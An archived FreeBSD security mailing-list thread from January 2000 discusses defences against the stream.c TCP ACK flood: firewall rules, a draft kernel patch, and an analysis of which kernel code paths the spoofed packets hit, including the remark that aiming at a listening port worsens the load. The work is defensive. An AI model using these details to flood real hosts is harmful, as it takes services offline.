(EST) From: Darren Reed Message-Id: <200001211408.BAA12379@cairo.anu.edu.au> Subject: Re: bugtraq posts: stream.c - new FreeBSD exploit? To: fpscha@via-net-works.net.ar Date: Sat, 22 Jan 2000 01:08:45 +1100 (Australia/NSW) Cc: freebsd-security@FreeBSD.ORG In-Reply-To: <200001211344.KAA01087@ns1.via-net-works.net.ar> from "Fernando Schapachnik" at Jan 21, 2000 10:44:33 AM X-Mailer: ELM [version 2.5 PL1] MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org In some mail from Fernando Schapachnik, sie said: > > En un mensaje anterior, Darren Reed escribió: > > btw, I think the better way to write the 3 rules is: > > > > block in quick proto tcp from any to any head 100 > > pass in quick proto tcp from any to any flags S keep state group 100 > > pass in all > > I usually work with ipfw, so I'm a newbie with ipfilter. > > I loaded a 3.3-R with an ipfilter enabled kernel. > > Then ipf -l block -f /file_with_rules > > Suprisingly: [...] That's to be expected. It only lets through `new' connections. You may (or may not) want to reboot. Darren To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 6:14:32 2000 Delivered-To: freebsd-security@freebsd.org Received: from cairo.anu.edu.au (cairo.anu.edu.au [150.203.224.11]) by hub.freebsd.org (Postfix) with ESMTP id BDFDB1542C for ; Fri, 21 Jan 2000 06:14:27 -0800 (PST) (envelope-from avalon@cairo.anu.edu.au) Received: (from avalon@localhost) by cairo.anu.edu.au (8.9.3/8.9.3) id BAA12691; Sat, 22 Jan 2000 01:14:25 +1100 (EST) From: Darren Reed Message-Id: <200001211414.BAA12691@cairo.anu.edu.au> Subject: Re: Re[2]: bugtraq posts: stream.c - new FreeBSD exploit? To: vlad@sandy.ru Date: Sat, 22 Jan 2000 01:14:25 +1100 (Australia/NSW) Cc: dima@rdy.com (Dima Ruban), freebsd-security@FreeBSD.ORG In-Reply-To: <12643.000121@sandy.ru> from "Vladimir Dubrovin" at Jan 21, 2000 03:26:08 PM X-Mailer: ELM [version 2.5 PL1] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org In some mail from Vladimir Dubrovin, sie said: > > Hello Dima Ruban, > > 21.01.2000 3:43, you wrote: bugtraq posts: stream.c - new FreeBSD exploit?; > > >> I can think of ways to filter this by adding some stuff to IPFW. > > D> I don't believe you can filter it. > > Sure you cann't detect invalid ACK packets with ipfw, but IMHO ipfw > (then dummynet is used) can be used to eliminate any kind of flood > attack with amount of small packets. Rules like > > ipfw pipe 10 config delay 50 queue 5 packets > ipfw add pipe 10 tcp from any to MYHOST in via EXTERNAL > > should limit ipfw to allow only 5 tcp packets in 50 ms for MYHOST, > more packets will be dropped. But I don't think it's best solution. Given the exploit assigns a random source address to every packet, no. Darren To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 6:15:41 2000 Delivered-To: freebsd-security@freebsd.org Received: from cairo.anu.edu.au (cairo.anu.edu.au [150.203.224.11]) by hub.freebsd.org (Postfix) with ESMTP id 868441517B for ; Fri, 21 Jan 2000 06:15:34 -0800 (PST) (envelope-from avalon@cairo.anu.edu.au) Received: (from avalon@localhost) by cairo.anu.edu.au (8.9.3/8.9.3) id BAA12772; Sat, 22 Jan 2000 01:15:32 +1100 (EST) From: Darren Reed Message-Id: <200001211415.BAA12772@cairo.anu.edu.au> Subject: Re: stream.c worst-case kernel paths To: oogali@intranova.net (Omachonu Ogali) Date: Sat, 22 Jan 2000 01:15:32 +1100 (Australia/NSW) Cc: brett@lariat.org (Brett Glass), security@FreeBSD.ORG In-Reply-To: from "Omachonu Ogali" at Jan 21, 2000 06:43:54 AM X-Mailer: ELM [version 2.5 PL1] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org This patch has no rate limiting. I'd hate to think what 100,000 packets in 10 seconds would do to your system with this patch. Darren In some mail from Omachonu Ogali, sie said: > > Would this work: > > -- start -- > --- tcp_input.c Tue Apr 20 15:09:15 1999 > +++ tcp_input.c.new Fri Jan 21 06:30:13 2000 > @@ -398,7 +398,27 @@ > "Connection attempt to TCP %s:%d from %s:%d\n", > buf, ntohs(ti->ti_dport), inet_ntoa(ti->ti_src), > ntohs(ti->ti_sport)); > + } else if (tiflags & TH_ACK) { > + /* > + * Alpha code in response to stream.c > + * - Omachonu Ogali > + */ > + > + char buf[4*sizeof "123"]; > + > + strcpy(buf, inet_ntoa(ti->ti_dst)); > + log(LOG_INFO, > + "received TCP/ACK to non existant connection: %s:%d -> %s:%d\n", > + inet_ntoa(ti->ti_src), ntohs(ti->ti_sport), buf, ntohs(ti->ti_dport)); > + > + /* > + * Drop without reset to prevent smurf-like tcp > + * attack > + */ > + > + goto drop; > } > + > #ifdef ICMP_BANDLIM > if (badport_bandlim(1) < 0) > goto drop; > -- stop -- > > Omachonu Ogali > Intranova Networking Group > > On Thu, 20 Jan 2000, Brett Glass wrote: > > > I've been browsing the code, and have seen two possible places where > > the code might be improved to lessen the impact of this DoS. Folks > > who know the stack better may know about details and side effects > > that I don't, so so if my analysis has holes in it please don't chew > > me out TOO badly. > > > > From /sys/netinet/tcp_input.c: > > > > The kernel seeks a socket that matches the packet. It fails, of course, > > to find an open socket. > > > > inp = in_pcblookup_hash(&tcbinfo, ti->ti_src, ti->ti_sport, > > ti->ti_dst, ti->ti_dport, 1); > > > > If the system isn't listening on the port, inp is set to NULL. But inside > > in_pcblookup_hash, we've had to do two hash table lookups, because > > the "wildcard" flag is set to 1. (Suggested improvement: turn off the > > wildcard search if the packet is not a SYN. I suppose that if the > > packet IS a SYN, we still have to test to see if it was erroneously > > sent in the middle of a connection, so we really have to do both tests > > in that case. See in_pcb.c.) > > > > Back to tcp_input.c. We then execute the following: > > > > if (inp == NULL) { > > if (log_in_vain && tiflags & TH_SYN) { > > char buf[4*sizeof "123"]; > > > > strcpy(buf, inet_ntoa(ti->ti_dst)); > > log(LOG_INFO, > > "Connection attempt to TCP %s:%d from %s:%d\n", > > buf, ntohs(ti->ti_dport), inet_ntoa(ti->ti_src), > > ntohs(ti->ti_sport)); > > } > > } > > #ifdef ICMP_BANDLIM > > if (badport_bandlim(1) < 0) > > goto drop; > > #endif > > goto dropwithreset; > > } > > > > Normally, we'll wind up at the label "dropwithreset", which means we'll send back a RST. > > This suggests that restricting RSTs will help with the DoS. (Does anyone know if > > not sending an RST violates any RFCs if there was never a connection?) > > > > Trouble is, a smart attacker will fire the barrage at a port on which the machine is > > listening. This makes the code path longer because the hash table lookup will succeed. > > We execute: > > > > tp = intotcpcb(inp); > > if (tp == 0) > > goto dropwithreset; > > if (tp->t_state == TCPS_CLOSED) > > goto drop; > > > > /* Unscale the window into a 32-bit value. */ > > if ((tiflags & TH_SYN) == 0) > > tiwin = ti->ti_win << tp->snd_scale; > > else > > tiwin = ti->ti_win; > > > > so = inp->inp_socket; > > if (so->so_options & (SO_DEBUG|SO_ACCEPTCONN)) { > > #ifdef TCPDEBUG > > if (so->so_options & SO_DEBUG) { > > ostate = tp->t_state; > > tcp_saveti = *ti; > > } > > #endif > > if (so->so_options & SO_ACCEPTCONN) { > > register struct tcpcb *tp0 = tp; > > struct socket *so2; > > if ((tiflags & (TH_RST|TH_ACK|TH_SYN)) != TH_SYN) { > > /* > > * Note: dropwithreset makes sure we don't > > * send a RST in response to a RST. > > */ > > if (tiflags & TH_ACK) { > > tcpstat.tcps_badsyn++; > > goto dropwithreset; > > } > > goto drop; > > > > At which point the packet is dropped, since tiflags & (TH_RST|TH_ACK|TH_SYN)) != TH_SYN > > (that is, it's not a SYN). But we've had to attempt two hash table lookups (we could have done > > only one if we'd tested for a SYN) and send the RST unless we've disabled it. Worse still, if > > we send the RSTs, we may have to handle an ICMP "unreachable" message from the router if the > > source address is spoofed. > > > > So, the two obvious optimizations are to add a test for SYNs prior to the hash table lookup and > > not to send a RST back. > > > > --Brett > > > > > > > > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > > with "unsubscribe freebsd-security" in the body of the message > > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-security" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 6:55:40 2000 Delivered-To: freebsd-security@freebsd.org Received: from gatekeeper.tsc.tdk.com (gatekeeper.tsc.tdk.com [207.113.159.21]) by hub.freebsd.org (Postfix) with ESMTP id EC8D91544D for ; Fri, 21 Jan 2000 06:55:32 -0800 (PST) (envelope-from gdonl@tsc.tdk.com) Received: from imap.gv.tsc.tdk.com (imap.gv.tsc.tdk.com [192.168.241.198]) by gatekeeper.tsc.tdk.com (8.8.8/8.8.8) with ESMTP id GAA05719; Fri, 21 Jan 2000 06:55:16 -0800 (PST) (envelope-from gdonl@tsc.tdk.com) Received: from salsa.gv.tsc.tdk.com (salsa.gv.tsc.tdk.com [192.168.241.194]) by imap.gv.tsc.tdk.com (8.9.3/8.9.3) with ESMTP id GAA47668; Fri, 21 Jan 2000 06:55:16 -0800 (PST) (envelope-from Don.Lewis@tsc.tdk.com) Received: (from gdonl@localhost) by salsa.gv.tsc.tdk.com (8.8.5/8.8.5) id GAA13013; Fri, 21 Jan 2000 06:55:16 -0800 (PST) Message-Id: <200001211455.GAA13013@salsa.gv.tsc.tdk.com> From: gdonl@tsc.tdk.com (Don Lewis) Date: Fri, 21 Jan 2000 06:55:15 -0800 In-Reply-To: Darren Reed "Re: stream.c worst-case kernel paths" (Jan 21, 3:17pm) X-Mailer: Mail User's Shell (7.2.6 beta(5) 10/07/98) To: Darren Reed , brett@lariat.org (Brett Glass) Subject: Re: stream.c worst-case kernel paths Cc: security@FreeBSD.ORG Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Jan 21, 3:17pm, Darren Reed wrote: } Subject: Re: stream.c worst-case kernel paths } In some mail from Brett Glass, sie said: } > } > I've been browsing the code, and have seen two possible places where } > the code might be improved to lessen the impact of this DoS. Folks } > who know the stack better may know about details and side effects } > that I don't, so so if my analysis has holes in it please don't chew } > me out TOO badly. } > } > From /sys/netinet/tcp_input.c: } > } > The kernel seeks a socket that matches the packet. It fails, of course, } > to find an open socket. } > } > inp = in_pcblookup_hash(&tcbinfo, ti->ti_src, ti->ti_sport, } > ti->ti_dst, ti->ti_dport, 1); } } > If the system isn't listening on the port, inp is set to NULL. But inside } > in_pcblookup_hash, we've had to do two hash table lookups, because } > the "wildcard" flag is set to 1. (Suggested improvement: turn off the } > wildcard search if the packet is not a SYN. I mentioned this on -current in my comments on Alfred Perlstein's suggested patch. I think I'll amend my comment, since I now think the wildcard lookup should only be done in the SYN & !ACK case. } >I suppose that if the } > packet IS a SYN, we still have to test to see if it was erroneously } > sent in the middle of a connection, so we really have to do both tests } > in that case. See in_pcb.c.) I believe this is correct. } Also, what about the simultaneous connection problem ? (both ends send } SYN's to the other, same ports). I don't think this suggested change affects simultaneous opens since the first (non-wildcard) hash lookup should succeed. > Trouble is, a smart attacker will fire the barrage at a port on which the machine is > listening. This makes the code path longer because the hash table lookup will succeed. Good catch. I figured that skipping the extra hash lookup would be a good optimizatin, but I didn't notice this problem. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 7:11:13 2000 Delivered-To: freebsd-security@freebsd.org Received: from gatekeeper.tsc.tdk.com (gatekeeper.tsc.tdk.com [207.113.159.21]) by hub.freebsd.org (Postfix) with ESMTP id 2F7BA1544D for ; Fri, 21 Jan 2000 07:11:04 -0800 (PST) (envelope-from gdonl@tsc.tdk.com) Received: from imap.gv.tsc.tdk.com (imap.gv.tsc.tdk.com [192.168.241.198]) by gatekeeper.tsc.tdk.com (8.8.8/8.8.8) with ESMTP id HAA05873; Fri, 21 Jan 2000 07:10:58 -0800 (PST) (envelope-from gdonl@tsc.tdk.com) Received: from salsa.gv.tsc.tdk.com (salsa.gv.tsc.tdk.com [192.168.241.194]) by imap.gv.tsc.tdk.com (8.9.3/8.9.3) with ESMTP id HAA47735; Fri, 21 Jan 2000 07:10:57 -0800 (PST) (envelope-from Don.Lewis@tsc.tdk.com) Received: (from gdonl@localhost) by salsa.gv.tsc.tdk.com (8.8.5/8.8.5) id HAA13068; Fri, 21 Jan 2000 07:10:57 -0800 (PST) Message-Id: <200001211510.HAA13068@salsa.gv.tsc.tdk.com> From: gdonl@tsc.tdk.com (Don Lewis) Date: Fri, 21 Jan 2000 07:10:57 -0800 In-Reply-To: Matthew Dillon "Re: stream.c worst-case kernel paths" (Jan 20, 9:21pm) X-Mailer: Mail User's Shell (7.2.6 beta(5) 10/07/98) To: Matthew Dillon , Brett Glass Subject: Re: stream.c worst-case kernel paths Cc: Alfred Perlstein , security@FreeBSD.ORG Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Jan 20, 9:21pm, Matthew Dillon wrote: } Subject: Re: stream.c worst-case kernel paths } } :How about one of the "golden" releases along 3.X-STABLE? After all, those } :of us who are conservative will not be deploying 4.X in mission-critical } :applications until the 4.1 or 4.2 point release (depending on how well } :things go). } : } :I'd certainly like to see TCP_RESTRICT_RST on by default. Blocking RSTs } :is getting to be a standard feature. Our lab's Windows boxes run BlackIce } :Defender, which does this, and it makes them pretty resilient. } : } :And is there any reason NOT to turn on TCP_DROP_SYNFIN? } : } :--Brett } } I think it's a bad idea to make anything that breaks the protocol } standard the default. I don't like the idea of always dropping (instead } of sending an RST) - it's much better to band-limit the rate to deal } with D.O.S. attacks and follow the protocol spec at all other times. I agree. Failing to set RST makes SYN floods worse. The victim machine will have more sockets hanging around in a SYN-SENT state that keep sending SYN+ACK packets until the sockets times out. If the spoofed clients send RST packets in response, then the server will immediately nuke these sockets and won't have their incoming bandwidth consumed by the packets they are ignoring (they'll receive one packet and send one packet for each spoofed SYN instead of receiving N packets and sending none if they don't send RST packets). It's also a lot easier to spoof a TCP connection from a host that doesn't send RST packets. } For the same reason I don't particularly like the idea of killing } SYN+FIN gratuitously. I couldn't care less whether nmap is able } to identify my machine or not, but I care greatly about protocol } breakage. You can't drop SYN+FIN packets if your want to do T/TCP. The only thing dropping them buys you is that you can hide some information from nmap. They don't have any more DoS potential then plain old SYN packets. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 7:15:37 2000 Delivered-To: freebsd-security@freebsd.org Received: from gatekeeper.tsc.tdk.com (gatekeeper.tsc.tdk.com [207.113.159.21]) by hub.freebsd.org (Postfix) with ESMTP id 0138515162 for ; Fri, 21 Jan 2000 07:15:36 -0800 (PST) (envelope-from gdonl@tsc.tdk.com) Received: from imap.gv.tsc.tdk.com (imap.gv.tsc.tdk.com [192.168.241.198]) by gatekeeper.tsc.tdk.com (8.8.8/8.8.8) with ESMTP id HAA05925; Fri, 21 Jan 2000 07:15:27 -0800 (PST) (envelope-from gdonl@tsc.tdk.com) Received: from salsa.gv.tsc.tdk.com (salsa.gv.tsc.tdk.com [192.168.241.194]) by imap.gv.tsc.tdk.com (8.9.3/8.9.3) with ESMTP id HAA47763; Fri, 21 Jan 2000 07:15:27 -0800 (PST) (envelope-from Don.Lewis@tsc.tdk.com) Received: (from gdonl@localhost) by salsa.gv.tsc.tdk.com (8.8.5/8.8.5) id HAA13087; Fri, 21 Jan 2000 07:15:26 -0800 (PST) Message-Id: <200001211515.HAA13087@salsa.gv.tsc.tdk.com> From: gdonl@tsc.tdk.com (Don Lewis) Date: Fri, 21 Jan 2000 07:15:26 -0800 In-Reply-To: gdonl@tsc.tdk.com (Don Lewis) "Re: stream.c worst-case kernel paths" (Jan 21, 6:55am) X-Mailer: Mail User's Shell (7.2.6 beta(5) 10/07/98) To: gdonl@tsc.tdk.com (Don Lewis), Darren Reed , brett@lariat.org (Brett Glass) Subject: Re: stream.c worst-case kernel paths Cc: security@FreeBSD.ORG Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Jan 21, 6:55am, Don Lewis wrote: } Subject: Re: stream.c worst-case kernel paths } In some mail from Brett Glass, sie said: } > Trouble is, a smart attacker will fire the barrage at a port on which the machine is } > listening. This makes the code path longer because the hash table lookup will succeed. } } Good catch. I figured that skipping the extra hash lookup would be a } good optimizatin, but I didn't notice this problem. I forgot to mention that this also fixes the bug (that we previously fixed another way) that leaks information about which sockets are listening to port scanners that send ACK-only packets. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 7:23:35 2000 Delivered-To: freebsd-security@freebsd.org Received: from lariat.lariat.org (lariat.lariat.org [206.100.185.2]) by hub.freebsd.org (Postfix) with ESMTP id 1E54B14D42 for ; Fri, 21 Jan 2000 07:23:29 -0800 (PST) (envelope-from brett@lariat.org) Received: from workhorse (IDENT:ppp0.lariat.org@lariat.lariat.org [206.100.185.2]) by lariat.lariat.org (8.9.3/8.9.3) with ESMTP id IAA19420; Fri, 21 Jan 2000 08:23:21 -0700 (MST) Message-Id: <4.2.2.20000121081444.01a2d480@localhost> X-Sender: brett@localhost X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2 Date: Fri, 21 Jan 2000 08:23:18 -0700 To: Alfred Perlstein From: Brett Glass Subject: Re: stream.c worst-case kernel paths Cc: Matthew Dillon , security@FreeBSD.ORG In-Reply-To: <20000121003045.H14030@fw.wintelcom.net> References: <4.2.2.20000120222630.01919150@localhost> <4.2.2.20000120182425.01886ec0@localhost> <20000120195257.G14030@fw.wintelcom.net> <4.2.2.20000120220649.018faa80@localhost> <200001210521.VAA56412@apollo.backplane.com> <4.2.2.20000120222630.01919150@localhost> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org At 01:30 AM 1/21/2000 , Alfred Perlstein wrote: >There's no reason to break the protocol when a simple bandwidth limiting >solution will suffice: > >"Ok, i'll follow the spec as long as it looks like i'm not under attack." > >seems more reasonable than totally breaking the spec for normal day to >day operation. Good point. But when you think about it, maybe we are learning a lesson here that at least should influence the future design of protocols. Think about it: What's the reason for that RST? It's a warning to the sender that he or she has done something wrong. This can be a good thing. But if the system takes it upon itself, always, to warn ANYONE who does anything weird, it can tie itself in knots. This appears to be what's happening here. So, we've learned something about what policy to follow. The current TCP/IP spec is an important standard, but it's not Holy Writ. There are still things we can learn, and we can fix both the current spec and future ones. Whether we implement changes immediately or not is really a matter of pragmatism. My priority is to keep my systems up and safe from attack, so I have no qualms about doing that so long as it won't break normal operation. I'd put in a "stick to the original spec" option for those who were willing to risk safety for conformance to Holy Writ. YMMV, of course. --Brett To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 7:26:37 2000 Delivered-To: freebsd-security@freebsd.org Received: from point.osg.gov.bc.ca (point.osg.gov.bc.ca [142.32.102.44]) by hub.freebsd.org (Postfix) with ESMTP id DBB0515261 for ; Fri, 21 Jan 2000 07:26:31 -0800 (PST) (envelope-from Cy.Schubert@uumail.gov.bc.ca) Received: (from daemon@localhost) by point.osg.gov.bc.ca (8.8.7/8.8.8) id HAA11920; Fri, 21 Jan 2000 07:25:11 -0800 Received: from passer.osg.gov.bc.ca(142.32.110.29) via SMTP by point.osg.gov.bc.ca, id smtpda11912; Fri Jan 21 07:24:53 2000 Received: (from uucp@localhost) by passer.osg.gov.bc.ca (8.9.3/8.9.1) id HAA09825; Fri, 21 Jan 2000 07:24:53 -0800 (PST) Received: from cwsys9.cwsent.com(10.2.2.1), claiming to be "cwsys.cwsent.com" via SMTP by passer9.cwsent.com, id smtpdIw9823; Fri Jan 21 07:24:52 2000 Received: (from uucp@localhost) by cwsys.cwsent.com (8.9.3/8.9.1) id HAA01787; Fri, 21 Jan 2000 07:24:52 -0800 (PST) Message-Id: <200001211524.HAA01787@cwsys.cwsent.com> Received: from localhost.cwsent.com(127.0.0.1), claiming to be "cwsys" via SMTP by localhost.cwsent.com, id smtpdwu1781; Fri Jan 21 07:23:53 2000 X-Mailer: exmh version 2.1.1 10/15/1999 Reply-To: Cy Schubert - ITSD Open Systems Group From: Cy Schubert - ITSD Open Systems Group X-OS: FreeBSD 3.4-RELEASE X-Sender: cy To: Reinier Bezuidenhout Cc: robinson@netrinsics.com (Michael Robinson), freebsd-security@FreeBSD.ORG Subject: Re: stream.c workaround clarification In-reply-to: Your message of "Sat, 21 Jan 2000 11:46:53 +0200." <200001210946.LAA15150@oskar.dev.nanoteq.co.za> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Fri, 21 Jan 2000 07:23:53 -0800 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org In message <200001210946.LAA15150@oskar.dev.nanoteq.co.za>, Reinier Bezuidenhou t writes: > Hi .. > > Is there any similar rules in IPFW that simulates this ?? No, IPFW is stateless. > > Reinier > > > I've been using an ipfilter rule-list that includes the following two rules > : > > > > pass in log quick proto tcp from any to any flags S/SA > > pass in quick proto tcp from any to any keep state > > > > (I log connections to TCP ports that aren't "exempted" higher up in the rul > es.) > > > > >From the discussion it seems to me that this should have an equivalent > > protective effect as the official-sanctioned workaround, but I'd like to > > verify this to be true. Regards, Phone: (250)387-8437 Cy Schubert Fax: (250)387-5766 Sun/DEC Team, UNIX Group Internet: Cy.Schubert@uumail.gov.bc.ca ITSD Province of BC "COBOL IS A WASTE OF CARDS." To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 7:27: 4 2000 Delivered-To: freebsd-security@freebsd.org Received: from mail.enteract.com (mail.enteract.com [207.229.143.33]) by hub.freebsd.org (Postfix) with ESMTP id 7392714D63; Fri, 21 Jan 2000 07:26:50 -0800 (PST) (envelope-from jrs@enteract.com) Received: from shell-2.enteract.com (jrs@shell-2.enteract.com [207.229.143.41]) by mail.enteract.com (8.9.3/8.9.3) with SMTP id JAA70432; Fri, 21 Jan 2000 09:26:48 -0600 (CST) (envelope-from jrs@enteract.com) Date: Fri, 21 Jan 2000 09:26:48 -0600 (CST) From: John Sconiers To: freebsd-security@freebsd.org Cc: freebsd-stable@freebsd.org Subject: Re: bugtraq posts: stream.c - new FreeBSD exploit? In-Reply-To: <200001210421.PAA25285@cairo.anu.edu.au> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Greetings, I work for a network security company and have been trying to get a copy of stream.c. Will someone please contact me off list so I can recieve a copy of the exploit. If you wish to verify my employer or any other information before sending please contact me at 847-952-5059. Thanks JRS To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 7:31:59 2000 Delivered-To: freebsd-security@freebsd.org Received: from gatekeeper.tsc.tdk.com (gatekeeper.tsc.tdk.com [207.113.159.21]) by hub.freebsd.org (Postfix) with ESMTP id C5AE014E43 for ; Fri, 21 Jan 2000 07:31:53 -0800 (PST) (envelope-from gdonl@tsc.tdk.com) Received: from imap.gv.tsc.tdk.com (imap.gv.tsc.tdk.com [192.168.241.198]) by gatekeeper.tsc.tdk.com (8.8.8/8.8.8) with ESMTP id HAA06090; Fri, 21 Jan 2000 07:31:49 -0800 (PST) (envelope-from gdonl@tsc.tdk.com) Received: from salsa.gv.tsc.tdk.com (salsa.gv.tsc.tdk.com [192.168.241.194]) by imap.gv.tsc.tdk.com (8.9.3/8.9.3) with ESMTP id HAA47826; Fri, 21 Jan 2000 07:31:48 -0800 (PST) (envelope-from Don.Lewis@tsc.tdk.com) Received: (from gdonl@localhost) by salsa.gv.tsc.tdk.com (8.8.5/8.8.5) id HAA13140; Fri, 21 Jan 2000 07:31:48 -0800 (PST) Message-Id: <200001211531.HAA13140@salsa.gv.tsc.tdk.com> From: gdonl@tsc.tdk.com (Don Lewis) Date: Fri, 21 Jan 2000 07:31:48 -0800 In-Reply-To: Brett Glass "stream.c worst-case kernel paths" (Jan 20, 8:17pm) X-Mailer: Mail User's Shell (7.2.6 beta(5) 10/07/98) To: Brett Glass , security@FreeBSD.ORG Subject: Re: stream.c worst-case kernel paths Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Jan 20, 8:17pm, Brett Glass wrote: } Subject: stream.c worst-case kernel paths } This suggests that restricting RSTs will help with the DoS. (Does anyone know if } not sending an RST violates any RFCs if there was never a connection?) Yes, it's a violation. If there is a TCP connection to a host that crashes and reboots and that host doesn't send RST packets in response to packets belonging to the old connection, its peer won't be notified that the connection is no longer valid. Doing this also means that the host will not make any attempt to tear down a spoofed TCP connection using its IP address. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 7:54:17 2000 Delivered-To: freebsd-security@freebsd.org Received: from bekool.com (ns2.netquick.net [216.48.34.2]) by hub.freebsd.org (Postfix) with ESMTP id 7532A15113 for ; Fri, 21 Jan 2000 07:54:07 -0800 (PST) (envelope-from trouble@netquick.net) Received: from bastille.netquick.net ([216.48.32.159] ident=root) by bekool.com with smtp (Exim 3.03 #1) id 12BgwC-0002vn-00; Fri, 21 Jan 2000 11:29:28 -0500 From: TrouBle Date: Fri, 21 Jan 2000 16:08:24 GMT Message-ID: <20000121.16082400@bastille.netquick.net> Subject: Re: stream.c worst-case kernel paths To: Darren Reed Cc: oogali@intranova.net (Omachonu Ogali), brett@lariat.org (Brett Glass), security@FreeBSD.ORG In-Reply-To: <200001211415.BAA12772@cairo.anu.edu.au> References: <200001211415.BAA12772@cairo.anu.edu.au> X-Mailer: Mozilla/3.0 (compatible; StarOffice/5.1; Linux) X-Priority: 3 (Normal) MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org So can i get a straight answer, is there yet a patch to fix this=20 problem under current ?? does it affect current ??? and 3.3 and 3.4 ????? if so where can i get it cause i have 5 public=20 boxes, and we gots enemies.... these boxes run 3.2, 3.3 3.4 and 4.0 also is there a way to test the vulnerability is gone after patching=20 ??? guess ill upgrade them all to 3.4 but i need to patch them before=20 some idiot takes em down in a cloud of packets To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 8: 9: 2 2000 Delivered-To: freebsd-security@freebsd.org Received: from ns1.via-net-works.net.ar (ns1.via-net-works.net.ar [200.10.100.10]) by hub.freebsd.org (Postfix) with ESMTP id A3A7E1523D for ; Fri, 21 Jan 2000 08:08:59 -0800 (PST) (envelope-from fpscha@ns1.via-net-works.net.ar) Received: (from fpscha@localhost) by ns1.via-net-works.net.ar (8.9.3/8.9.3) id NAA24882; Fri, 21 Jan 2000 13:08:46 -0300 (GMT) From: Fernando Schapachnik Message-Id: <200001211608.NAA24882@ns1.via-net-works.net.ar> Subject: Re: bugtraq posts: stream.c - new FreeBSD exploit? In-Reply-To: <200001211408.BAA12379@cairo.anu.edu.au> from Darren Reed at "Jan 22, 0 01:08:45 am" To: avalon@coombs.anu.edu.au (Darren Reed) Date: Fri, 21 Jan 2000 13:08:46 -0300 (GMT) Cc: fpscha@via-net-works.net.ar, freebsd-security@FreeBSD.ORG Reply-To: Fernando Schapachnik X-Mailer: ELM [version 2.4ME+ PL40 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org En un mensaje anterior, Darren Reed escribió: > In some mail from Fernando Schapachnik, sie said: > > > > En un mensaje anterior, Darren Reed escribió: > > > btw, I think the better way to write the 3 rules is: > > > > > > block in quick proto tcp from any to any head 100 > > > pass in quick proto tcp from any to any flags S keep state group 100 > > > pass in all > > > > I usually work with ipfw, so I'm a newbie with ipfilter. > > > > I loaded a 3.3-R with an ipfilter enabled kernel. > > > > Then ipf -l block -f /file_with_rules > > > > Suprisingly: > [...] > > That's to be expected. It only lets through `new' connections. > You may (or may not) want to reboot. I see the same if I try to start a new connection after turning ipfilter on. Does it keeps record of inside initated connection or I have to do something else? TIA! Fernando P. Schapachnik Administración de la red VIA NET.WORKS ARGENTINA S.A. fernando@via-net-works.net.ar (54-11) 4323-3333 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 8:41:15 2000 Delivered-To: freebsd-security@freebsd.org Received: from lariat.lariat.org (lariat.lariat.org [206.100.185.2]) by hub.freebsd.org (Postfix) with ESMTP id 8210B15261 for ; Fri, 21 Jan 2000 08:41:12 -0800 (PST) (envelope-from brett@lariat.org) Received: from workhorse (IDENT:ppp0.lariat.org@lariat.lariat.org [206.100.185.2]) by lariat.lariat.org (8.9.3/8.9.3) with ESMTP id JAA20265; Fri, 21 Jan 2000 09:40:53 -0700 (MST) Message-Id: <4.2.2.20000121093753.01a51ba0@localhost> X-Sender: brett@localhost X-Mailer: QUALCOMM Windows Eudora 